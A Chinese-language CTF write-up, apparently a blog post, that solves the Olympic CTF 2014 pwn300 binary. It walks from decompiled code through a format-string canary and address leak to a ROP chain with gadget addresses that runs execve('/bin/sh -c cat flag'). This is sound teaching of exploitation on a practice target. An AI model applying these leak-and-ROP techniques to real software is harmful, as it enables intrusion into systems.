over 9 years ago

這是一題 ELF pwnable 題,它包含了 format string 和 buffer overflow 漏洞。Stack 不能執行,而且一直沒辦法確定 library 的版本所以找不到 system(),就試試看 ROP 好了,然後因為不熟所以卡了很久 XD。不過賽後看到別人的 writeup 好像有掃到 library 版本之類的就是了,應該是努力掃一下就可以找到的東西。

先 decompile 一下,main function 大概長這樣:

int __cdecl main()
{
    int result; // eax@1
    int v1; // ecx@1
    signed int i; // [sp+30h] [bp-110h]@2
    size_t v3; // [sp+34h] [bp-10Ch]@3
    void *v4; // [sp+38h] [bp-108h]@5
    int v5; // [sp+3Ch] [bp-104h]@1
    int v6; // [sp+13Ch] [bp-4h]@1

    v6 = *MK_FP(__GS__, 20);
    puts("pw?");
    fflush(stdout);
    read(0, &v5, 8u);
    result = memcmp(&v5, "letmein\n", 8u);
    if ( !result )
    {
        for ( i = 0; i <= 15; ++i )
        {
            puts("msg?");
            fflush(stdout);
            bzero(&v5, 0x100u);
            read(0, &v5, 0x80u);
            v3 = strlen((const char *)&v5);
            if ( strchr((const char *)&v5, 'n') )
            {
                result = puts("i hate this symbol!");
                break;
            }
            v4 = mmap((void *)0x11111000, 0x1000u, 3, 50, -1, 0);
            if ( v4 == (void *)-1 || !v4 )
            {
                perror("mmap");
                exit(-1);
            }
            *((_DWORD *)v4 + 33) = 'ruoY';
            *((_DWORD *)v4 + 34) = 'sem ';
            *((_DWORD *)v4 + 35) = 'egas';
            *((_DWORD *)v4 + 36) = 'd%( ';
            *((_DWORD *)v4 + 37) = 'tyb ';
            *((_DWORD *)v4 + 38) = ':)se';
            *((_DWORD *)v4 + 39) = '\ns% ';
            *((_BYTE *)v4 + 160) = 0;
            *((_DWORD *)v4 + 32) = (char *)v4 + 132;
            strncpy((char *)v4, (const char *)&v5, 0x80u);
            *((_BYTE *)v4 + v3) = 0;
            sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4);
            puts((const char *)&v5);
            fflush(stdout);
            result = munmap(v4, 0x1000u);
        }
    }
    if ( *MK_FP(__GS__, 20) != v6 )
        _stack_chk_fail(v1, *MK_FP(__GS__, 20) ^ v6);
    return result;
}

Format String 漏洞

首先 pw 要輸入 letmein,接下來它會 echo 輸入共 16 次。它會先在 0x11111000 mmap 一塊 memory (只能讀寫),
把輸入字串拷貝到 v4,並在 v4+132 組好輸出用的 format string,Format string 的位址會先存到 v4+32 再傳給 sprintf。

有漏洞的地方是用來截斷輸入字串的 *((_BYTE *)v4 + v3) = 0;。由於先前的 read(0, &v5, 0x80u);,輸入的字串最長可以到 128 byte,這樣一來剛好會蓋到 v4+32 的最低位,所以原本的 format string 位址是 0x11111084,現在被蓋掉後會變成 0x11111000,即為輸入字串被拷貝到的 v4。因此我們可以控制 format string,不過一開始檢查了輸入字串有沒有 'n' 這個字元,無法用 format string 進行寫入。

Buffer Overflow 漏洞

這裡的 sprintf((char *)&v5, *((const char **)v4 + 32), v3, v4); 會造成 buffer overflow。雖然輸入長度被限制在 128 以下,但我們可以用像 %200c 這樣的方式造出任意長度的字串,所以 v5 是會被 overflow 的。

另外,雖然這個程式使用了 StackGuard,但我們可以利用 format string 漏洞把檢查值 v6 先讀出來,buffer overflow 時寫回同樣的值就行了。

Exploit

利用 format string 印出記憶體內容,我們可以定位出一些位址:

  • %82$x 是 main function 的 return address。這個在 libc 裡面,可以用來掃 library 的內容。
  • (%113$x)-0x9c 是 ebp, 由 argv 所指到的 argv[0] 的位址加上 offset 得到。
  • (%16$s...,ebp-0x14c)-0xbb8 這是程式被載入的基底位址,由 sprintf 的 return address得到。 後來發現其實這個和 main function 的 return address 之間的 offset 是固定的就是了。
  • read() 的位址,等一下會用到。因為 main 裡有 call read(),很容易就可以算出來。

接下來要想辦法開個 shell,因為 stack 不能執行所以試試 ROP 看看。
首先找到需要的 ROPgadget,雖然 library 內的位址不太一樣,
但可以 dump 出一段後在本地找出相對的位址。
努力的找了一陣,找出 call execve() 需要用的 (eax,ebx,ecx,edx,int 0x80)

ret = b75514d3
ebp = 0xbfbe0f38
base =  0xb770c000
eax: ret + 0xab6c 58c390909090909090909090909090909083ec2c895c241ce8876e10
ebx: base + 0x711 5bc3
ecx edx: ret + 0x14aa8 595ac3909031c08b542404891a897204897a088d4c240465330d18
int 80: ret + 0x14db2 cd809058b877

接下來還有一件很麻煩的事情,就是輸入的字串中不可以用 \x00,所以我們先造了一個 read(),這樣可以直接把值讀到 stack 上造出 ROP chain。Call read() 的參數中還是會有 \x00,我們可以反著蓋回來,用字串結尾的 \x00 來填上。StackGuard的最低位也是 \x00,用一樣的方法補上。

read(0,addr,0x10101);
|  read  |  retN  |  zero  |  addr  |010101--
|  read  |  retN  |ffffff--|  addr  |01010100
|  read  |  retN  |ffff--00|  addr  |01010100
|  read  |  retN  |ff--0000|  addr  |01010100
|  read  |  retN  |--000000|  addr  |01010100
|  read  |  retN  |00000000|  addr  |01010100

接下來就可以 read() 任意的數據到 stack 上了:

ebp+
0c 0x0b          execve -> eax
10 base+0x711    pop ebx; ret;
14 ebp +0x28     '/bin/sh' -> ebx
18 ret +0x14aa8  pop ecx; pop edx; ret;
1c ebp +0x30     argv -> ecx
20 ebp +0x3c     env -> edx
24 ret +0x14db2  int 0x80;
28 '/bin/sh\x00' 
30 ebp +0x28     argv[0]
34 ebp +0x40     argv[1]
38 ebp +0x44     argv[2]
3c 0x0           
40 '-c\x00\x00'
44 'cat flag'

完整的 exploit 在這裡:
https://raw2.github.com/csie217/ctf/master/olympic-ctf-2014/pwn300.py

← Olympic CTF 2014 Figure Crypting 300 GuessGame Writeup Codegate CTF Preliminary 2014 Clone Technique Writeup →